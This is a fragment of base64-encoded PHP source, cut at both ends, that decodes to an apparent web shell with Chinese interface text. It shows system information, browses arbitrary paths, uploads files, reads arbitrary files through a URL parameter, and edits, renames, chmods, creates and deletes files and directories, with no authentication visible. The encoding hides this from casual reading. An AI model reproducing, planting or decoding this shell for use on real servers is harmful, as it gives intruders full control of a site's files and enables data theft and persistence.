iAgICAgICAgICAgIHRoe3BhZGRpbmc6MTBweDt9DQogICAgICAgICAgICAudGRfaG9tZXtwYWRkaW5nOjdweDt9DQogICAgICAgICAgICBhe2NvbG9yOiMwMDA7IHRleHQtZGVjb3JhdGlvbjpub25lO30NCiAgICAgICAgICAgIHRleHRhcmVhe3dpZHRoOjEwMCU7aGVpZ2h0OjQwMHB4O30NCiAgICAgICAgICAgICNjb250ZW50IHRyOmhvdmVye2JhY2tncm91bmQtY29sb3I6I2NlY2VjZTt0ZXh0LXNoYWRvdzowcHggMHB4IDEwcHggI2ZmZjtjb2xvcjojZmZmO30NCiAgICAgICAgICAgIC5kaCBheyBwYWRkaW5nLWxlZnQ6IDEwcHg7IHBhZGRpbmctcmlnaHQ6IDEwcHg7IGJvcmRlci1yaWdodDogMXB4IHNvbGlkICMwMDA7fQ0KICAgICAgICAgICAgLmRoIGE6aG92ZXJ7IGNvbG9yOiAjZjAwO30NCiAgICAgICAgPC9zdHlsZT4NCjw/cGhwDQplY2hvICc8L2hlYWQ+DQo8Ym9keT48Yj4NCjxIMT48Y2VudGVyPjxmb250IGNvbG9yPSJyZWQiPicuJFZlcnNpb24uJzwvZm9udD48L2NlbnRlcj48L2gxPg0KPHRhYmxlIHdpZHRoPSI3MDAiIGJvcmRlcj0iMCIgY2VsbHBhZGRpbmc9IjMiIGNlbGxzcGFjaW5nPSIxIiBhbGlnbj0iY2VudGVyIj4NCg0KPHRyPjx0ZD4NCg0KPGZvbnQgPjxjZW50ZXI+Jy5waHBfdW5hbWUoKS4nPC9jZW50ZXI+PC9mb250Pjxicj4nOw0KaWYoaXNzZXQoJF9HRVRbJ3BhdGgnXSkpew0KICAgICRwYXRoID0gJF9HRVRbJ3BhdGgnXTsNCn1lbHNlew0KICAgICRwYXRoID0gZ2V0Y3dkKCk7DQp9DQokcGF0aCA9IHN0cl9yZXBsYWNlKCdcXCcsJy8nLCRwYXRoKTsNCiRwYXRocyA9IGV4cGxvZGUoJy8nLCRwYXRoKTsNCg0KJGdlbl9saW5rX3VybCA9ICc8YSBzdHlsZT0iY29sb3I6IzAwNjZGRiIgaHJlZj0iP0FSUkFZPScuJEFSUkFZLicmcGF0aD0nLkRPQ1VNRU5UX1JPT1Q7DQokZ2VuX2xpbmtfdXJsIC49ICciPuagueebruW9lSDvvJogICAgPC9hPiZuYnNwOyc7DQplY2hvICRnZW5fbGlua191cmw7DQoNCmZvcmVhY2goJHBhdGhzIGFzICRpZD0+JHBhdCl7DQogICAgaWYoJHBhdCA9PSAnJyAmJiAkaWQgPT0gMCl7DQogICAgICAgICRhID0gdHJ1ZTsNCiAgICAgICAgZWNobyAnPGZvbnQgY29sb3I9IzAwMD4NCjxhIGhyZWY9Ij9BUlJBWT0nLiRBUlJBWS4nJnBhdGg9LyI+LzwvYT4nOw0KICAgICAgICBjb250aW51ZTsNCiAgICB9DQogICAgaWYoJHBhdCA9PSAnJykgY29udGludWU7DQogICAgZWNobyAnPGEgc3R5bGU9ImNvbG9yOiMwMDY2RkYiIGhyZWY9Ij9BUlJBWT0nLiRBUlJBWS4nJnBhdGg9JzsNCiAgICBmb3IoJGk9MDskaTw9JGlkOyRpKyspew0KICAgICAgICBlY2hvICIkcGF0aHNbJGldIjsNCiAgICAgICAgaWYoJGkgIT0gJGlkKSBlY2hvICIvIjsNCiAgICB9DQogICAgZWNobyAnIj4nLiRwYXQuJzwvYT4vJzsNCn0NCmVjaG8gJzwvZm9udD4NCjxicj48YnI+DQo8L3RkPjwvdHI+PHRyPjx0ZD48Y2VudGVyPic7DQoNCmlmKGlzc2V0KCRfRklMRVNbJ2ZpbGUnXSkpew0KICAgIGlmKGNvcHkoJF9GSUxFU1snZmlsZSddWyd0bXBfbmFtZSddLCRwYXRoLicvJy4kX0ZJTEVTWydmaWxlJ11bJ25hbWUnXSkpew0KICAgICAgICBlY2hvICc8Zm9udCBjb2xvcj0iZ3JlZW4iPuS4iuS8oOaIkOWKnyA6KTwvZm9udD48YnIgLz48YnIgLz4nOw0KICAgIH1lbHNlew0KICAgICAgICBlY2hvICc8Zm9udCBjb2xvcj0icmVkIj7kuIrkvKDlpLHotKUgPC9mb250PjxiciAvPjxiciAvPic7DQogICAgfQ0KfQ0KZWNobyAnPC9jZW50ZXI+PGNlbnRlcj48Zm9ybSBlbmN0eXBlPSJtdWx0aXBhcnQvZm9ybS1kYXRhIiBtZXRob2Q9IlBPU1QiPjxmb250IGNvbG9yPSJ3aGl0ZSI+PGlucHV0IHN0eWxlPSJiYWNrZ3JvdW5kOmJsYWNrO2ZvbnQtZmFtaWx5OiBDb21pYyBTYW5zIE1TICIgdHlwZT0iZmlsZSIgbmFtZT0iZmlsZSIgLz4NCjxpbnB1dCB0eXBlPSJzdWJtaXQiIHZhbHVlPSLkuIrkvKAiIC8+DQo8L2Zvcm0+PC9jZW50ZXI+DQo8L3RkPjwvdHI+JzsNCmlmKGlzc2V0KCRfR0VUWydmaWxlc3JjJ10pKXsNCiAgICBlY2hvICI8dHI+PHRkPjxjZW50ZXI+5b2T5YmN5paH5Lu2IDogIjsNCiAgICBlY2hvICRfR0VUWydmaWxlc3JjJ107DQogICAgZWNobyAnPC9jZW50ZXI+PC90cj48L3RkPjwvdGFibGU+PGJyIC8+JzsNCiAgICBlY2hvKCcgPHRleHRhcmVhIHN0eWxlPSJ3aWR0aDogMTAwJTtoZWlnaHQ6IDQwMHB4OyIgcmVhZG9ubHk+ICcuaHRtbHNwZWNpYWxjaGFycyhmaWxlX2dldF9jb250ZW50cygkX0dFVFsnZmlsZXNyYyddKSkuJzwvdGV4dGFyZWE+Jyk7DQp9DQovL0VtcGV0eQ0KZWxzZWlmKGlzc2V0KCRfR0VUWydvcHRpb24nXSkgJiYgJF9HRVRbJ29wdCddICE9ICdkZWxldGUnKXsNCi8vIGVjaG8gJzwvdGFibGU+PGJyIC8+PGNlbnRlcj4nLiRfUE9TVFsncGF0aCddLic8YnIgLz48YnIgLz4nOw0KICAgIGVjaG8gJzwvdGFibGU+PGJyIC8+PGNlbnRlcj4nOw0KLy9DaG1vZA0KICAgIGlmKCRfR0VUWydvcHQnXSA9PSAnY2htb2QnKXsNCiAgICAgICAgaWYoaXNzZXQoJF9QT1NUWydwZXJtJ10pKXsNCiAgICAgICAgICAgICRuZXdfcGVybV9vID0gJF9QT1NUWydwZXJtJ107DQoNCiAgICAgICAgICAgIGlmKHN0cmxlbigkbmV3X3Blcm1fbyk8PTMpICRuZXdfcGVybV9vPXN0cl9wYWQoJG5ld19wZXJtX28sMywnNicsU1RSX1BBRF9MRUZUKTsNCiAgICAgICAgICAgICRuZXdfcGVybV9vPWludHZhbChzdHJfcGFkKCRuZXdfcGVybV9vLDQsJzAnLFNUUl9QQURfTEVGVCksOCk7DQoNCiAgICAgICAgICAgIGlmKGNobW9kKCRfUE9TVFsncGF0aCddLCRuZXdfcGVybV9vKSl7DQogICAgICAgICAgICAgICAgZWNobyAnPGZvbnQgY29sb3I9ImdyZWVuIj7mm7TmlLnmnYPpmZDmiJDlip/vvIEgPC9mb250PjxiciAvPic7DQogICAgICAgICAgICB9ZWxzZXsNCiAgICAgICAgICAgICAgICBlY2hvICc8Zm9udCBjb2xvcj0icmVkIj7mm7TmlLnmnYPpmZDplJnor6/vvIEgPC9mb250PjxiciAvPic7DQogICAgICAgICAgICB9DQogICAgICAgIH0NCg0KICAgICAgICAkaGVsbCA9ICRfR0VUWydwYXRoJ107DQogICAgICAgICR5ZWFoID0gJF9HRVRbJ25hbWUnXTsNCiAgICAgICAgJHBhdGMgPSAiJGhlbGwvJHllYWgiOw0KDQogICAgICAgIGVjaG8gJzxmb3JtIG1ldGhvZD0iUE9TVCI+PGJyPg0K5b2T5YmN5paH5Lu2IDogJy4kcGF0Yy4nPGJyPjxicj7mnYPpmZAtLS0tJy5zdWJzdHIoYmFzZV9jb252ZXJ0KEBmaWxlcGVybXMoJHBhdGMpLDEwLDgpLC00KS4nPGJyPjxicj4NCuiuvue9ruaWsOadg+mZkCA6IDxpbnB1dCBuYW1lPSJwZXJtIiB0eXBlPSJ0ZXh0IiBzaXplPSI0IiB2YWx1ZT0iJy5zdWJzdHIoc3ByaW50ZignJW8nLCBmaWxlcGVybXMoJHBhdGMpKSwgLTQpLiciIC8+DQo8aW5wdXQgdHlwZT0iaGlkZGVuIiBuYW1lPSJwYXRoIiB2YWx1ZT0iJy4kcGF0Yy4nIj4NCjxpbnB1dCB0eXBlPSJoaWRkZW4iIG5hbWU9Im9wdCIgdmFsdWU9ImNobW9kIj4NCjxpbnB1dCB0eXBlPSJzdWJtaXQiIC8+DQo8L2Zvcm0+DQo8YnI+DQo8YSBocmVmPSI/QVJSQVk9Jy4kQVJSQVkuJyZwYXRoPScuJGhlbGwuJyIgc3R5bGU9ImRpc3BsYXk6YmxvY2s7IHdpZHRoOjEwMCU7IiB0aXRsZT0i5Y+N5ZueIj7lj43lm548L2E+DQonOw0KDQogICAgfQ0KLy8NCiAgICBlbHNlaWYoJF9HRVRbJ29wdCddID09ICdidHcnKXsNCiAgICAgICAgJGN3ZCA9ICRfR0VUWydwYXRoJ107DQoNCiAgICAgICAgZWNobyAnPGZvcm0gYWN0aW9uPSI/QVJSQVk9Jy4kQVJSQVkuJyZvcHRpb24mcGF0aD0nLiRjd2QuJyZvcHQ9ZGVsZXRlJnR5cGU9YnVhdCIgbWV0aG9kPSJQT1NUIj4NCuaWsOebruW9leWQjSA6IDxpbnB1dCBuYW1lPSJuYW1lIiB0eXBlPSJ0ZXh0IiBzaXplPSIyMCIgdmFsdWU9IkZvbGRlciIgLz4NCjxpbnB1dCB0eXBlPSJoaWRkZW4iIG5hbWU9InBhdGgiIHZhbHVlPSInLiRjd2QuJyI+DQo8aW5wdXQgdHlwZT0iaGlkZGVuIiBuYW1lPSJvcHQiIHZhbHVlPSJkZWxldGUiPg0KPGlucHV0IHR5cGU9InN1Ym1pdCIgLz4NCjwvZm9ybT4nOw0KICAgIH0NCi8vUmVuYW1lIGZpbGUNCiAgICBlbHNlaWYoJF9HRVRbJ29wdCddID09ICdyZW5hbWUnKXsNCiAgICAgICAgaWYoaXNzZXQoJF9QT1NUWyduZXduYW1lJ10pKXsNCiAgICAgICAgICAgIGlmKHJlbmFtZSgkX1BPU1RbJ3BhdGgnXSwkcGF0aC4nLycuJF9QT1NUWyduZXduYW1lJ10pKXsNCiAgICAgICAgICAgICAgICBlY2hvICc8Zm9udCBjb2xvcj0iZ3JlZW4iPumHjeWRveWQjeaIkOWKnyEgOik8L2ZvbnQ+PGJyIC8+PGJyIC8+JzsNCiAgICAgICAgICAgIH1lbHNlew0KICAgICAgICAgICAgICAgIGVjaG8gJzxmb250IGNvbG9yPSJyZWQiPumHjeWRveWQjeWksei0pSEgOiggPC9mb250PjxiciAvPjxiciAvPic7DQogICAgICAgICAgICB9DQogICAgICAgICAgICAkX1BPU1RbJ25hbWUnXSA9ICRfUE9TVFsnbmV3bmFtZSddOw0KICAgICAgICB9DQogICAgICAgICRoZWxsID0gJF9HRVRbJ3BhdGgnXTsNCiAgICAgICAgJHllYWggPSAkX0dFVFsnbmFtZSddOw0KICAgICAgICAkcGF0YyA9ICIkaGVsbC8keWVhaCI7DQogICAgICAgICRuZXcgPSAkX1BPU1RbJ25ld25hbWUnXTsNCg0KICAgICAgICBlY2hvICc8Zm9ybSBtZXRob2Q9IlBPU1QiPg0K5paw5ZCN56ewIDogPGlucHV0IG5hbWU9Im5ld25hbWUiIHR5cGU9InRleHQiIHNpemU9IjIwIiB2YWx1ZT0iJy4kbmV3LiciIC8+DQo8aW5wdXQgdHlwZT0iaGlkZGVuIiBuYW1lPSJwYXRoIiB2YWx1ZT0iJy4kcGF0Yy4nIj4NCjxpbnB1dCB0eXBlPSJoaWRkZW4iIG5hbWU9Im9wdCIgdmFsdWU9InJlbmFtZSI+DQo8aW5wdXQgdHlwZT0ic3VibWl0IiAvPjxicj48YnI+DQo8aW5wdXQgdHlwZT0iYnV0dG9uIiB2YWx1ZT0i5Y+N5ZueIiBvbkNsaWNrPSJqYXZhc2NyaXB0OmxvY2F0aW9uLmhyZWY9XCc/QVJSQVk9Jy4kQVJSQVkuJyZwYXRoPScuJGhlbGwuJ1wnIj4NCjwvZm9ybT4nOw0KICAgIH0NCi8vRmlsZSBiYXJ1DQogICAgZWxzZWlmKCRfR0VUWydvcHQnXSA9PSAnYmFydScpew0KDQogICAgICAgICRoZWxsID0gJF9HRVRbJ3BhdGgnXTsNCiAgICAgICAgJHllYWggPSAkX0dFVFsnbmFtZSddOw0KICAgICAgICAkcGF0YyA9ICIkaGVsbC8keWVhaCI7DQogICAgICAgICRuZXcgPSBlbXB0eSgkX1BPU1RbJ25ld25hbWUnXSk/JF9QT1NUWyduZ2FyYW4xJ106JF9QT1NUWyduZXduYW1lJ107DQogICAgICAgICRhenogPSAkX1BPU1RbJ3BhdGgnXTsNCiAgICAgICAgJG5ld3ogPSAkYXp6LiIvIi4kbmV3Ow0KICAgICAgICAkbmV3X2ZpZWwgPSAkaGVsbC4nLycuJF9QT1NUWyduZ2FyYW4xJ107DQogICAgICAgIGlmKCFlbXB0eSgkX1BPU1RbJ25nYXJhbjEnXSkpIGVjaG8gIuato+WcqOaWsOW7uuaWh+S7tu+8mnskbmV3X2ZpZWx9PGJyPjxicj4iOw0KICAgICAgICBpZihpc3NldCgkX1BPU1RbJ3NyYyddKSl7DQogICAgICAgICAgICAkZnAgPSBmb3BlbigkX1BPU1RbJ3BhdGgnXSwndycpOw0KICAgICAgICAgICAgaWYoZndyaXRlKCRmcCwkX1BPU1RbJ3NyYyddKSl7DQogICAgICAgICAgICAgICAgZWNobyAnPGZvbnQgY29sb3I9ImdyZWVuIj7mlrDlu7rmlofku7bmiJDlip8gWyAnLiRhenouJyBdPC9mb250PjxiciAvPjxiciAvPic7DQogICAgICAgICAgICB9ZWxzZXsNCiAgICAgICAgICAgICAgICBlY2hvICc8Zm9udCBjb2xvcj0icmVkIj7mlrDlu7rmlofku7blpLHotKUgPjooPC9mb250PjxiciAvPjxiciAvPic7DQogICAgICAgICAgICB9DQogICAgICAgICAgICBmY2xvc2UoJGZwKTsNCiAgICAgICAgfQ0KDQogICAgICAgIGVjaG8gJzxmb3JtIG1ldGhvZD0iUE9TVCI+IOaWsOaWh+S7tuWQjSA6IDxpbnB1dCBuYW1lPSJuZ2FyYW4xIiB0eXBlPSJ0ZXh0IiBzaXplPSIyMCIgdmFsdWU9IicuJG5ldy4nIiAvPjxpbnB1dCB0eXBlPSJzdWJtaXQiIG5hbWU9Im5nYXJhbiIgLz48L2Zvcm0+PGJyPiAnOw0KDQogICAgICAgICRobyA9ICRfUE9TVFsnbmdhcmFuMSddOw0KDQogICAgICAgIGlmKGlzc2V0KCRfUE9TVFsnbmdhcmFuJ10pKXsNCiAgICAgICAgICAgIGVjaG8gJzxmb3JtIG1ldGhvZD0iUE9TVCI+DQo8dGV4dGFyZWEgY29scz04MCByb3dzPTIwIG5hbWU9InNyYyI+Jy5odG1sc3BlY2lhbGNoYXJzKGZpbGVfZ2V0X2NvbnRlbnRzKCRwYXRjKSkuJzwvdGV4dGFyZWE+PGJyIC8+DQo8aW5wdXQgdHlwZT0iaGlkZGVuIiBuYW1lPSJwYXRoIiB2YWx1ZT0iJy4kaGVsbC4nLycuJGhvLiciPg0KPGlucHV0IHR5cGU9ImhpZGRlbiIgbmFtZT0ib3B0IiB2YWx1ZT0iZWRpdCI+DQo8aW5wdXQgdHlwZT0ic3VibWl0IiAgLz4NCjwvZm9ybT4nOw0KICAgICAgICB9DQogICAgfQ0KLy9FZGl0ZWQgZmlsZQ0KICAgIGVsc2VpZigkX0dFVFsnb3B0J10gPT0gJ2VkaXQnKXsNCiAgICAgICAgaWYoaXNzZXQoJF9QT1NUWydzcmMnXSkpew0KICAgICAgICAgICAgJGZwID0gZm9wZW4oJF9QT1NUWydwYXRoJ10sJ3cnKTsNCiAgICAgICAgICAgIGlmKGZ3cml0ZSgkZnAsJF9QT1NUWydzcmMnXSkpew0KICAgICAgICAgICAgICAgIGVjaG8gJzxmb250IGNvbG9yPSJncmVlbiI+57yW6L6R5oiQ5Yqf77yBIDwvZm9udD48YnIgLz48YnIgLz4nOw0KICAgICAgICAgICAgfWVsc2V7DQogICAgICAgICAgICAgICAgZWNobyAnPGZvbnQgY29sb3I9InJlZCI+57yW6L6R5aSx6LSl77yBPC9mb250PjxiciAvPjxiciAvPic7DQogICAgICAgICAgICB9DQogICAgICAgICAgICBmY2xvc2UoJGZwKTsNCiAgICAgICAgfQ0KICAgICAgICAkaGVsbCA9ICRfR0VUWydwYXRoJ107DQogICAgICAgICR5ZWFoID0gJF9HRVRbJ25hbWUnXTsNCiAgICAgICAgJHBhdGMgPSAiJGhlbGwvJHllYWgiOw0KICAgICAgICBlY2hvICc8Zm9ybSBtZXRob2Q9IlBPU1QiPg0KPHRleHRhcmVhIGNvbHM9ODAgcm93cz0yMCBuYW1lPSJzcmMiPicuaHRtbHNwZWNpYWxjaGFycyhmaWxlX2dldF9jb250ZW50cygkcGF0YykpLic8L3RleHRhcmVhPjxiciAvPg0KPGlucHV0IHR5cGU9ImhpZGRlbiIgbmFtZT0icGF0aCIgdmFsdWU9IicuJHBhdGMuJyI+DQo8aW5wdXQgdHlwZT0iaGlkZGVuIiBuYW1lPSJvcHQiIHZhbHVlPSJlZGl0Ij48YnI+DQo8aW5wdXQgdHlwZT0ic3VibWl0IiAgLz4NCjxicj4NCjxicj4NCjxpbnB1dCB0eXBlPSJidXR0b24iIHZhbHVlPSLlj43lm54iIG9uQ2xpY2s9ImphdmFzY3JpcHQ6bG9jYXRpb24uaHJlZj1cJz9BUlJBWT0nLiRBUlJBWS4nJnBhdGg9Jy4kaGVsbC4nXCciPg0KDQo8L2Zvcm0+JzsNCiAgICB9DQogICAgZWNobyAnPC9jZW50ZXI+JzsNCn1lbHNlew0KICAgIGVjaG8gJzwvdGFibGU+PGJyIC8+PGNlbnRlcj4nOw0KLy9EZWxldGUgZGlyIGFuZCBmaWxlDQogICAgaWYoaXNzZXQoJF9HRVRbJ29wdGlvbiddKSAmJiAkX0dFVFsnb3B0J10gPT0gJ2RlbGV0ZScpew0KDQogICAgICAgICRoZWxsID0gJF9HRVRbJ3BhdGgnXTsNCiAgICAgICAgJHllYWggPSAkX0dFVFsnbmFtZSddOw0KICAgICAgICAkcGF0YyA9ICIkaGVsbC8keWVhaCI7DQoNCi8vRGVsZXRlIGRpcg0KICAgICAgICBpZigkX0dFVFsndHlwZSddID09ICdkaXInKXsNCg0KICAgICAgICAgICAgaWYocm1kaXIoJHBhdGMpKXsNCiAgICAgICAgICAgICAgICBlY2hvICc8Zm9udCBjb2xvcj0iZ3JlZW4iPuWIoOmZpOaIkOWKn++8gTwvZm9udD48YnIgLz4nOw0KICAgICAgICAgICAgfWVsc2V7DQogICAgICAgICAgICAgICAgZWNobyAnPGZvbnQgY29sb3I9InJlZCMiPuWIoOmZpOWksei0pSE+Oig8L2ZvbnQ+PGJyIC8+JzsNCiAgICAgICAgICAgIH0NCiAgICAgICAgfQ0KLy9idWF0IGZvbGRlcg0KICAgICAgICBpZigkX0dFVFsndHlwZSddID09ICdidWF0Jyl7DQogICAgICAgICAgICAkaGFhYSA9ICRfUE9TVFsncGF0aCddOw0KICAgICAgICAgICAgJGhlZWUgPSAkX1BPU1RbJ25hbWUnXTsNCiAgICAgICAgICAgICRob29vID0gIiRoYWFhLyRoZWVlIjsNCiAgICAgICAgICAgICRuZXcgPSAkaGFhYS4nLycuaHRtbHNwZWNpYWxjaGFycygkaGVlZSk7DQogICAgICAgICAgICBpZighbWtkaXIoJG5ldykpew0KICAgICAgICAgICAgICAgIGVjaG8gJzxmb250IGNvbG9yPSJyZWQiPuaWsOW7uuebruW9leWksei0pSE8L2ZvbnQ+PGJyIC8+JzsNCiAgICAgICAgICAgIH1lbHNlew0KICAgICAgICAgICAgICAgIGVjaG8gJzxmb250IGNvbG9yPSJncmVlbiI+5paw5bu655uu5b2V5oiQ5YqfISA+Oik8L2ZvbnQ+PGJyIC8+JzsNCiAgICAgICAgICAgIH0NCiAgICAgICAgfQ0KLy9EZWxldGUgZmlsZQ0KICAgICAgICBlbHNlaWYoJF9HRVRbJ3R5cGUnXSA9PSAnZmlsZScpew0KDQogICAgICAgICAgICAkaGVsbCA9ICRfR0VUWydwYXRoJ107DQogICAgICAgICAgICAkeWVhaCA9ICRfR0VUWyduYW1lJ107DQogICAgICAgICAgICAkcGF0YyA9ICIkaGVsbC8keWVhaCI7DQoNCiAgICAgICAgICAgIGlmKHVubGluaygkcGF0Yykpew0KICAgICAgICAgICAgICAgIGVjaG8gJzxmb250IGNvbG9yPSJncmVlbiI+5paH5Lu25Yig6Zmk5oiQ5YqfPC9mb250PjxiciAvPic7DQogICAgICAgICAgICB9ZWxzZXsNCiAgICAgICAgICAgICAgICBlY2hvICc8Zm9udCBjb2xvcj0icmVkIj7mlofku7bliKDpmaTlpLHotKU8L2ZvbnQ+PGJyIC8+JzsNCiAgICAgICAgICAgIH0NCiAgICAgICAgfQ0KICAgIH0NCiAgICBlY2hvICc8L2NlbnRlcj4nOw0KICAgICRzY2FuZGlyID0gc2NhbmRpcigkcGF0aCk7DQogICAgJHBhID0gZ2V0Y3dkKCk7DQogICAgZWNobyAnIDxkaXYgaWQ9ImNvbnRlbnQiPjx0YWJsZSB3aWR0aD0iMTAwJSIgY2xhc3M9InRhYmxlX2hvbWUiIGJvcmRlcj0iMCIgY2VsbHBhZGRpbmc9IjMiIGNlbGxzcGFjaW5nPSIxIiBhbGlnbj0iY2VudGVyIj4NCiANCjx0cj4NCjx0aCBjbGFzcz10aF9ob21lIHN0eWxlPSJiYWNrZ3JvdW5kOmJsYWNrO2NvbG9yOiNmZmY7Ij48Y2VudGVyPuWQjeensDwvY2VudGVyPjwvdGg+DQo8dGggY2xhc3M9dGhfaG9tZSBzdHlsZT0iYmFja2dyb3VuZDpibGFjaztjb2xvcjojZmZmOyIgPjxjZW50ZXI+5aSn5bCPPC9jZW50ZXI+PC90aD4NCjx0aCBjbGFzcz10aF9ob21lIHN0eWxlPSJiYWNrZ3JvdW5kOmJsYWNrO2NvbG9yOiNmZmY7IiA+PGNlbnRlcj7mnYPpmZA8L2NlbnRlcj48L3RoPg0KPHRoIGNsYXNzPXRoX2hvbWUgc3R5bGU9ImJhY2tncm91bmQ6YmxhY2s7Y29sb3I6I2ZmZjsiID48Y2VudGVyPuaTjeS9nOmAiemhuTwvY2VudGVyPjwvdGg+DQo8L3RyPg0KDQoNCiA8dHI+DQo8dGQgY2xhc3M9InRkX2hvbWUiIGFsaWduPSJjZW50ZXIiPg0KPGEgaHJlZj0iP0FSUkFZPScuJEFSUkFZLicmcGF0aD0nLmRpcm5hbWUoJHBhdGgpLiciIHN0eWxlPSJkaXNwbGF5OmJsb2NrOyB3aWR0aDoxMDAlOyIgdGl0bGU9IuS4iuS4gOmhtSI+5LiK5LiA6aG1PC9hPg0KPC90ZD48dGQgY2xhc3M9dGRfaG9tZSBhbGlnbj1jZW50ZXI+U2l6ZTwvdGQ+IDx0ZCBjbGFzcz10ZF9ob21lIGFsaWduPWNlbnRlcj5DaG1vZDwvdGQ+IDx0ZCBjbGFzcz10ZF9ob21lIGFsaWduPWNlbnRlcj4gPGEgaHJlZj0iP29wdGlvbiZBUlJBWT0nLiRBUlJBWS4nJnBhdGg9Jy4kcGF0aC4nJm9wdD1iYXJ1Jm5hbWU9bmV3LnBocCI+KyDmlrDlu7rmlofku7Y8L2E+IHwgPGEgaHJlZj0iP29wdGlvbiZBUlJBWT0nLiRBUlJBWS4nJnBhdGg9Jy4kcGF0aC4nJm9wdD1idHcmdHlwZT1kaXIiPisg5paw5bu655uu5b2VPC9hPiA8L3RkPjwvdHI+DQonOw0KDQogICAgZm9yZWFjaCgkc2NhbmRpciBhcyAkZGlyKXsNCiAgICAgICAgaWYoIWlzX2RpcigiJHBhdGgvJGRpciIpIHx8ICRkaXIgPT0gJy4nIHx8ICRkaXIgPT0gJy4uJykgY29udGludWU7DQogICAgICAgIGVjaG8gIg0KPHRyPg0KPHRkIGNsYXNzPXRkX2hvbWU+IDxpbWcgc3JjPSdkYXRhOmltYWdlL3BuZztiYXNlNjQsUjBsR09EbGhFd0FRQUxNQUFBQUFBUC8vLzV5Y0FNN09ZLy8vblAvL3p2L09uUGYzOS8vLy93QUFBQUFBQUFBQUFBQUFBQUFBQUFBQSIuIkFBQUFBQ0g1QkFFQUFBZ0FMQUFBQUFBVEFCQUFBQVJSRU1sSnE3MDQ2eXA2QnhzaUhFVkJFQUtZQ1VQckRwN0hsWFJkRW9NcUNlYnAiLiIvNFljaGZmekdRaEg0WVJZUEIyRE9sSFBpS3dxZDFQcTh5clZWZzNRWWVINVJZSzVySmZhRlVVQTN2QjRmQklCQURzPSc+IDxhIGhyZWY9XCI/QVJSQVk9eyRBUlJBWX0mcGF0aD0kcGF0aC8kZGlyXCI+JGRpcjwvYT48L3RkPg0KPHRkIGNsYXNzPXRkX2hvbWUgPjxjZW50ZXI+RElSPC9jZW50ZXI+PC90ZD4NCjx0ZCBjbGFzcz10ZF9ob21lIGFsaWduPWNlbnRlcj4NCjxhIGhyZWY9XCI/b3B0aW9uJkFSUkFZPXskQVJSQVl9JnBhdGg9JHBhdGgmb3B0PWNobW9kJnR5cGU9ZGlyJm5hbWU9JGRpclwiIHRpdGxlPSfmnYPpmZDorr7nva4nPg0KIjsNCiAgICAgICAgaWYoaXNfd3JpdGFibGUoIiRwYXRoLyRkaXIiKSkgZWNobyAnPGZvbnQgY29sb3I9ImdyZWVuIj4nOw0KICAgICAgICBlbHNlaWYoIWlzX3JlYWRhYmxlKCIkcGF0aC8kZGlyIikpIGVjaG8gJzxmb250IGNvbG9yPSJyZWQiPic7DQogICAgICAgIGVjaG8ganVlamlhbmdfcGVybXMoIiRwYXRoLyRkaXIiKTsNCiAgICAgICAgaWYoaXNfd3JpdGFibGUoIiRwYXRoLyRkaXIiKSB8fCAhaXNfcmVhZGFibGUoIiRwYXRoLyRkaXIiKSkgZWNobyAnPC9mb250Pic7DQoNCiAgICAgICAgZWNobyAiDQo8L2E+DQo8L3RkPg0KDQoNCjx0ZCBjbGFzcz10ZF9ob21lID48Y2VudGVyPg0KPGEgaHJlZj1cIj9vcHRpb24mQVJSQVk9eyRBUlJBWX0mcGF0aD0kcGF0aCZvcHQ9cmVuYW1lJnR5cGU9ZGlyJm5hbWU9JGRpclwiPumHjeWRveWQjTwvYT4NCjxhIGhyZWY9XCJqYXZhc2NyaXB0OmlmKGNvbmZpcm0oJ+ehruWunuimgeWIoOmZpOWQlz8nKSlsb2NhdGlvbj0nP29wdGlvbiZBUlJBWT17JEFSUkFZfSZwYXRoPXskcGF0aH0mb3B0PWRlbGV0ZSZ0eXBlPWRpciZuYW1lPXskZGlyfSdcIj7liKDpmaQ8L2E+DQo8L2NlbnRlcj48L3RkPg0KPC90cj4iOw0KICAgIH0NCiAgICBlY2hvICc8YnI+JzsNCiAgICBmb3JlYWNoKCRzY2FuZGlyIGFzICRmaWxlKXsNCiAgICAgICAgaWYoIWlzX2ZpbGUoIiRwYXRoLyRmaWxlIikpIGNvbnRpbnVlOw0KICAgICAgICAkc2l6ZSA9IGZpbGVzaXplKCIkcGF0aC8kZmlsZSIpLzEwMjQ7DQogICAgICAgICRzaXplID0gcm91bmQoJHNpemUsMyk7DQogICAgICAgIGlmKCRzaXplID49IDEwMjQpew0KICAgICAgICAgICAgJHNpemUgPSByb3VuZCgkc2l6ZS8xMDI0LDIpLicgTUInOw0KICAgICAgICB9ZWxzZXsNCiAgICAgICAgICAgICRzaXplID0gJHNpemUuJyBLQic7DQogICAgICAgIH0NCg0KDQogICAgICAgIGVjaG8gIjx0cj4NCjx0ZCBjbGFzcz10ZF9ob21lID4gPGltZyBzcmM9J2RhdGE6aW1hZ2UvcG5nO2Jhc2U2NCxpVkJPUncwS0dnb0FBQUFOU1VoRVVnQUFBQXdBQUFBUUNBWUFBQUFpWVo0SEFBQUFDWEJJV1hNQUFBc1RBQUFMRXdFQW1wd1lBQUFLVFdsRFExQlFhRzkwYjNOb2IzQWdTVU5ESUhCeWIyWnBiR1VBQUhqYW5WTjNXSlAzRmo3ZjkyVVBWa0xZOExHWGJJRUFJaU9zQ01nUVdhSVFrZ0JoaEJBU1FNV0ZpQXBXRkJVUm5FaFZ4SUxWQ2tpZGlPS2dLTGhuUVlxSVdvdFZYRGp1SDl5bnRYMTY3KzN0KzlmN3ZPZWM1L3pPZWM4UGdCRVNKcEhtb21vQU9WS0ZQRHJZSDQ5UFNNVEp2WUFDRlVqZ0JDQVE1c3ZDWndYRkFBRHdBM2w0Zm5Td1Avd0JyMjhBQWdCdzFTNGtFc2ZoLzRPNlVDWlhBQ0NSQU9BaUV1Y0xBWkJTQU1ndVZNZ1VBTWdZQUxCVHMyUUtBSlFBQUd4NWZFSWlBS29OQU96MFNUNEZBTmlwazl3WEFOaWlIS2tJQUkwQkFKa29SeVFDUUxzQVlGV0JVaXdDd01JQW9LeEFJaTRFd0s0QmdGbTJNa2NDZ0wwRkFIYU9XSkFQUUdBQWdKbENMTXdBSURnQ0FFTWVFODBESUV3RG9ERFN2K0NwWDNDRnVFZ0JBTURMbGMyWFM5SXpGTGlWMEJwMzh2RGc0aUhpd215eFFtRVhLUkJtQ2VRaW5KZWJJeE5JNXdOTXpnd0FBQnI1MGNIK09EK1E1K2JrNGVabTUyenY5TVdpL212d2J5SStJZkhmL3J5TUFnUUFFRTdQNzlwZjVlWFdBM0RIQWJCMXYydXBXd0RhVmdCbzMvbGRNOXNKb0ZvSzBIcjVpM2s0L0VBZW5xRlF5RHdkSEFvTE